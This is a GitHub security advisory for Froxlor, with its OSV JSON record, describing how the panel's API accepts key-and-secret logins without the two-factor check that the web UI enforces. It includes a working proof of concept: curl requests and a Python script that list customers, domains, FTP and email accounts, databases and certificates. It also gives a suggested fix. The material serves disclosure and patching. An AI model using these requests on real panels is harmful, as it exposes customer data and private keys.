GHSA-F9RX-7WF7-JR36
Vulnerability from github – Published: 2026-06-03 21:41 – Updated: 2026-06-09 13:07Summary
Froxlor's API authentication (FroxlorRPC::validateAuth) does not enforce Two-Factor Authentication. When a user (admin or customer) enables 2FA on their account, the web UI correctly requires a TOTP code after password verification. However, the API accepts requests authenticated with only an API key and secret — no TOTP challenge is issued, checked, or required.
An attacker who obtains a leaked API key+secret for a 2FA-protected account has full access to all API operations without providing a second factor.
Affected Code
Web UI — 2FA enforced (index.php:82-149):
if ($result['type_2fa'] != 0) {
// Redirects to 2FA input page
// Calls FroxlorTwoFactorAuth::verifyCode()
// Login is NOT completed without valid TOTP code
}
API — 2FA absent (lib/Froxlor/Api/FroxlorRPC.php:75-105):
private static function validateAuth(string $key, string $secret): bool
{
$sel_stmt = Database::prepare("
SELECT ak.*, a.api_allowed as admin_api_allowed,
c.api_allowed as cust_api_allowed, c.deactivated
FROM `api_keys` ak
LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid
LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid
WHERE `apikey` = :ak AND `secret` = :as
");
$result = Database::pexecute_first($sel_stmt, ['ak' => $key, 'as' => $secret]);
if ($result) {
if ($result['apikey'] == $key && $result['secret'] == $secret
&& ($result['valid_until'] == -1 || $result['valid_until'] >= time())
&& (($result['customerid'] == 0 && $result['admin_api_allowed'] == 1)
|| ($result['customerid'] > 0 && $result['cust_api_allowed'] == 1
&& $result['deactivated'] == 0))) {
// Checks: key match, secret match, not expired, API allowed, not deactivated
// Missing: ANY check for type_2fa, TOTP verification, or 2FA status
return true;
}
}
throw new Exception('Invalid authorization credentials', 403);
}
There are zero references to 2FA, TOTP, type_2fa, or FroxlorTwoFactorAuth in the entire lib/Froxlor/Api/ directory:
$ grep -rn '2fa\|totp\|two.factor\|FroxlorTwoFactor' lib/Froxlor/Api/
# (no output)
PoC
Environment
- Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)
- API enabled (
api.enabled=1) - Admin account has 2FA enabled (
type_2fa=1, TOTP configured) - Admin has an API key
Step 1: Confirm 2FA blocks web UI login
POST /index.php HTTP/1.1
Host: panel.example.com
Content-Type: application/x-www-form-urlencoded
loginname=admin&password=Admin123!@#&csrf_token=TOKEN&send=send
Result: Redirect to index.php?showmessage=4 — 2FA page. Login is NOT completed. The user cannot access the dashboard without entering a TOTP code.
Step 2: Authenticate via API — no TOTP required
curl -s -u "API_KEY:API_SECRET" \
-H 'Content-Type: application/json' \
-d '{"command":"Customers.listing","params":{}}' \
https://panel.example.com/api.php
Result: HTTP 200 with full customer listing:
{
"data": {
"list": [
{
"loginname": "testcust",
"email": "test@froxlor.lab",
"name": "Test",
"firstname": "Customer"
}
]
}
}
No TOTP code was provided. No 2FA prompt was returned. Full access granted.
Step 3: Access additional sensitive resources
All of these succeed without any 2FA challenge:
# Domains
curl -s -u "KEY:SECRET" -d '{"command":"Domains.listing"}' .../api.php
# FTP accounts (home directories, credentials)
curl -s -u "KEY:SECRET" -d '{"command":"Ftps.listing"}' .../api.php
# Email accounts
curl -s -u "KEY:SECRET" -d '{"command":"Emails.listing"}' .../api.php
# MySQL databases
curl -s -u "KEY:SECRET" -d '{"command":"Mysqls.listing"}' .../api.php
# SSL certificates (private keys)
curl -s -u "KEY:SECRET" -d '{"command":"Certificates.listing"}' .../api.php
# DNS records
curl -s -u "KEY:SECRET" -d '{"command":"DomainZones.listing","params":{"domainname":"example.com"}}' .../api.php
165 API functions are accessible, including write operations (Customers.update, Domains.add, Ftps.add, etc.).
Automated PoC Script
#!/usr/bin/env python3
"""Froxlor <= 2.3.x — 2FA Bypass via API (CWE-287)"""
import json, sys, requests, urllib3
urllib3.disable_warnings()
target, key, secret = sys.argv[1], sys.argv[2], sys.argv[3]
r = requests.post(f"{target}/api.php", auth=(key, secret),
json={"command": "Customers.listing", "params": {}}, verify=False)
data = r.json()
print(f"HTTP {r.status_code}")
if "data" in data:
for c in data["data"].get("list", []):
print(f" {c['loginname']} | {c['email']}")
print(f"\n2FA-protected account accessed without TOTP. {len(data['data'].get('list',[]))} customers exposed.")
Usage: python3 poc.py https://panel.example.com API_KEY API_SECRET
Impact
When a user enables 2FA, they expect all access to their account requires a second factor. The API completely bypasses this expectation:
- Customer data: PII (name, email, address) readable and modifiable
- Domains: Full control over domains, subdomains, DNS records
- Email accounts: Create, read, delete email accounts and forwarders
- FTP accounts: Access home directory paths and credentials
- MySQL databases: Full database management
- SSL certificates: Read private keys, modify certificate bindings
- 165 API functions: Including all write operations
API keys can be leaked through database backups, log files, config file exposure (GHSA-34qg-65m4-f23m demonstrated DB credential leaks), or compromised automation scripts. Users who enabled 2FA specifically to protect against credential compromise are not protected.
Comparison with CVE-2023-3173
CVE-2023-3173 ("2FA Bypass by Brute Force") was accepted as Critical ($60 bounty) and fixed by adding rate limiting to 2FA verification. This finding is architecturally different — the API authentication path has no 2FA logic at all. No brute force is needed; the second factor is simply never requested.
Suggested Fix
Add 2FA verification to FroxlorRPC::validateAuth(). When the authenticated user has type_2fa != 0, require a TOTP code as an additional API parameter:
// lib/Froxlor/Api/FroxlorRPC.php, after line 100:
// Check 2FA if enabled for this user
if (!empty($result['adminid'])) {
$user = Database::pexecute_first(
Database::prepare("SELECT type_2fa, data_2fa FROM panel_admins WHERE adminid = :id"),
['id' => $result['adminid']]
);
} else {
$user = Database::pexecute_first(
Database::prepare("SELECT type_2fa, data_2fa FROM panel_customers WHERE customerid = :id"),
['id' => $result['customerid']]
);
}
if ($user && $user['type_2fa'] != 0) {
// Require X-2FA-Code header or 'totp_code' in request body
$totp_code = $_SERVER['HTTP_X_2FA_CODE'] ?? null;
if (empty($totp_code)) {
throw new Exception('2FA code required', 401);
}
$tfa = new FroxlorTwoFactorAuth($user['data_2fa']);
if (!$tfa->verifyCode($totp_code)) {
throw new Exception('Invalid 2FA code', 403);
}
}
Alternatively, disable API key creation for accounts with 2FA enabled, or require 2FA re-verification when generating new API keys.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "froxlor/froxlor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52793"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-03T21:41:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nFroxlor\u0027s API authentication (`FroxlorRPC::validateAuth`) does not enforce Two-Factor Authentication. When a user (admin or customer) enables 2FA on their account, the web UI correctly requires a TOTP code after password verification. However, the API accepts requests authenticated with only an API key and secret \u2014 no TOTP challenge is issued, checked, or required.\n\nAn attacker who obtains a leaked API key+secret for a 2FA-protected account has full access to all API operations without providing a second factor.\n\n## Affected Code\n\n**Web UI \u2014 2FA enforced** (`index.php:82-149`):\n\n```php\nif ($result[\u0027type_2fa\u0027] != 0) {\n // Redirects to 2FA input page\n // Calls FroxlorTwoFactorAuth::verifyCode()\n // Login is NOT completed without valid TOTP code\n}\n```\n\n**API \u2014 2FA absent** (`lib/Froxlor/Api/FroxlorRPC.php:75-105`):\n\n```php\nprivate static function validateAuth(string $key, string $secret): bool\n{\n $sel_stmt = Database::prepare(\"\n SELECT ak.*, a.api_allowed as admin_api_allowed,\n c.api_allowed as cust_api_allowed, c.deactivated\n FROM `api_keys` ak\n LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid\n LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid\n WHERE `apikey` = :ak AND `secret` = :as\n \");\n $result = Database::pexecute_first($sel_stmt, [\u0027ak\u0027 =\u003e $key, \u0027as\u0027 =\u003e $secret]);\n if ($result) {\n if ($result[\u0027apikey\u0027] == $key \u0026\u0026 $result[\u0027secret\u0027] == $secret\n \u0026\u0026 ($result[\u0027valid_until\u0027] == -1 || $result[\u0027valid_until\u0027] \u003e= time())\n \u0026\u0026 (($result[\u0027customerid\u0027] == 0 \u0026\u0026 $result[\u0027admin_api_allowed\u0027] == 1)\n || ($result[\u0027customerid\u0027] \u003e 0 \u0026\u0026 $result[\u0027cust_api_allowed\u0027] == 1\n \u0026\u0026 $result[\u0027deactivated\u0027] == 0))) {\n // Checks: key match, secret match, not expired, API allowed, not deactivated\n // Missing: ANY check for type_2fa, TOTP verification, or 2FA status\n return true;\n }\n }\n throw new Exception(\u0027Invalid authorization credentials\u0027, 403);\n}\n```\n\nThere are zero references to 2FA, TOTP, `type_2fa`, or `FroxlorTwoFactorAuth` in the entire `lib/Froxlor/Api/` directory:\n\n```bash\n$ grep -rn \u00272fa\\|totp\\|two.factor\\|FroxlorTwoFactor\u0027 lib/Froxlor/Api/\n# (no output)\n```\n\n## PoC\n\n### Environment\n\n- Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)\n- API enabled (`api.enabled=1`)\n- Admin account has 2FA enabled (`type_2fa=1`, TOTP configured)\n- Admin has an API key\n\n### Step 1: Confirm 2FA blocks web UI login\n\n```\nPOST /index.php HTTP/1.1\nHost: panel.example.com\nContent-Type: application/x-www-form-urlencoded\n\nloginname=admin\u0026password=Admin123!@#\u0026csrf_token=TOKEN\u0026send=send\n```\n\n**Result:** Redirect to `index.php?showmessage=4` \u2014 2FA page. Login is NOT completed. The user cannot access the dashboard without entering a TOTP code.\n\n### Step 2: Authenticate via API \u2014 no TOTP required\n\n```bash\ncurl -s -u \"API_KEY:API_SECRET\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"command\":\"Customers.listing\",\"params\":{}}\u0027 \\\n https://panel.example.com/api.php\n```\n\n**Result:** HTTP 200 with full customer listing:\n\n```json\n{\n \"data\": {\n \"list\": [\n {\n \"loginname\": \"testcust\",\n \"email\": \"test@froxlor.lab\",\n \"name\": \"Test\",\n \"firstname\": \"Customer\"\n }\n ]\n }\n}\n```\n\nNo TOTP code was provided. No 2FA prompt was returned. Full access granted.\n\n### Step 3: Access additional sensitive resources\n\nAll of these succeed without any 2FA challenge:\n\n```bash\n# Domains\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"Domains.listing\"}\u0027 .../api.php\n# FTP accounts (home directories, credentials)\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"Ftps.listing\"}\u0027 .../api.php\n# Email accounts\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"Emails.listing\"}\u0027 .../api.php\n# MySQL databases\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"Mysqls.listing\"}\u0027 .../api.php\n# SSL certificates (private keys)\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"Certificates.listing\"}\u0027 .../api.php\n# DNS records\ncurl -s -u \"KEY:SECRET\" -d \u0027{\"command\":\"DomainZones.listing\",\"params\":{\"domainname\":\"example.com\"}}\u0027 .../api.php\n```\n\n165 API functions are accessible, including write operations (`Customers.update`, `Domains.add`, `Ftps.add`, etc.).\n\n### Automated PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Froxlor \u003c= 2.3.x \u2014 2FA Bypass via API (CWE-287)\"\"\"\nimport json, sys, requests, urllib3\nurllib3.disable_warnings()\n\ntarget, key, secret = sys.argv[1], sys.argv[2], sys.argv[3]\n\nr = requests.post(f\"{target}/api.php\", auth=(key, secret),\n json={\"command\": \"Customers.listing\", \"params\": {}}, verify=False)\ndata = r.json()\n\nprint(f\"HTTP {r.status_code}\")\nif \"data\" in data:\n for c in data[\"data\"].get(\"list\", []):\n print(f\" {c[\u0027loginname\u0027]} | {c[\u0027email\u0027]}\")\n print(f\"\\n2FA-protected account accessed without TOTP. {len(data[\u0027data\u0027].get(\u0027list\u0027,[]))} customers exposed.\")\n```\n\nUsage: `python3 poc.py https://panel.example.com API_KEY API_SECRET`\n\n## Impact\n\nWhen a user enables 2FA, they expect all access to their account requires a second factor. The API completely bypasses this expectation:\n\n- **Customer data**: PII (name, email, address) readable and modifiable\n- **Domains**: Full control over domains, subdomains, DNS records\n- **Email accounts**: Create, read, delete email accounts and forwarders\n- **FTP accounts**: Access home directory paths and credentials\n- **MySQL databases**: Full database management\n- **SSL certificates**: Read private keys, modify certificate bindings\n- **165 API functions**: Including all write operations\n\nAPI keys can be leaked through database backups, log files, config file exposure (GHSA-34qg-65m4-f23m demonstrated DB credential leaks), or compromised automation scripts. Users who enabled 2FA specifically to protect against credential compromise are not protected.\n\n### Comparison with CVE-2023-3173\n\nCVE-2023-3173 (\"2FA Bypass by Brute Force\") was accepted as **Critical ($60 bounty)** and fixed by adding rate limiting to 2FA verification. This finding is architecturally different \u2014 the API authentication path has no 2FA logic at all. No brute force is needed; the second factor is simply never requested.\n\n## Suggested Fix\n\nAdd 2FA verification to `FroxlorRPC::validateAuth()`. When the authenticated user has `type_2fa != 0`, require a TOTP code as an additional API parameter:\n\n```php\n// lib/Froxlor/Api/FroxlorRPC.php, after line 100:\n// Check 2FA if enabled for this user\nif (!empty($result[\u0027adminid\u0027])) {\n $user = Database::pexecute_first(\n Database::prepare(\"SELECT type_2fa, data_2fa FROM panel_admins WHERE adminid = :id\"),\n [\u0027id\u0027 =\u003e $result[\u0027adminid\u0027]]\n );\n} else {\n $user = Database::pexecute_first(\n Database::prepare(\"SELECT type_2fa, data_2fa FROM panel_customers WHERE customerid = :id\"),\n [\u0027id\u0027 =\u003e $result[\u0027customerid\u0027]]\n );\n}\nif ($user \u0026\u0026 $user[\u0027type_2fa\u0027] != 0) {\n // Require X-2FA-Code header or \u0027totp_code\u0027 in request body\n $totp_code = $_SERVER[\u0027HTTP_X_2FA_CODE\u0027] ?? null;\n if (empty($totp_code)) {\n throw new Exception(\u00272FA code required\u0027, 401);\n }\n $tfa = new FroxlorTwoFactorAuth($user[\u0027data_2fa\u0027]);\n if (!$tfa-\u003everifyCode($totp_code)) {\n throw new Exception(\u0027Invalid 2FA code\u0027, 403);\n }\n}\n```\n\nAlternatively, disable API key creation for accounts with 2FA enabled, or require 2FA re-verification when generating new API keys.",
"id": "GHSA-f9rx-7wf7-jr36",
"modified": "2026-06-09T13:07:18Z",
"published": "2026-06-03T21:41:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-f9rx-7wf7-jr36"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-34qg-65m4-f23m"
},
{
"type": "PACKAGE",
"url": "https://github.com/froxlor/froxlor"
},
{
"type": "WEB",
"url": "https://github.com/froxlor/froxlor/releases/tag/2.3.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Froxlor\u0027s API Authentication bypasses 2FA Authentication"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.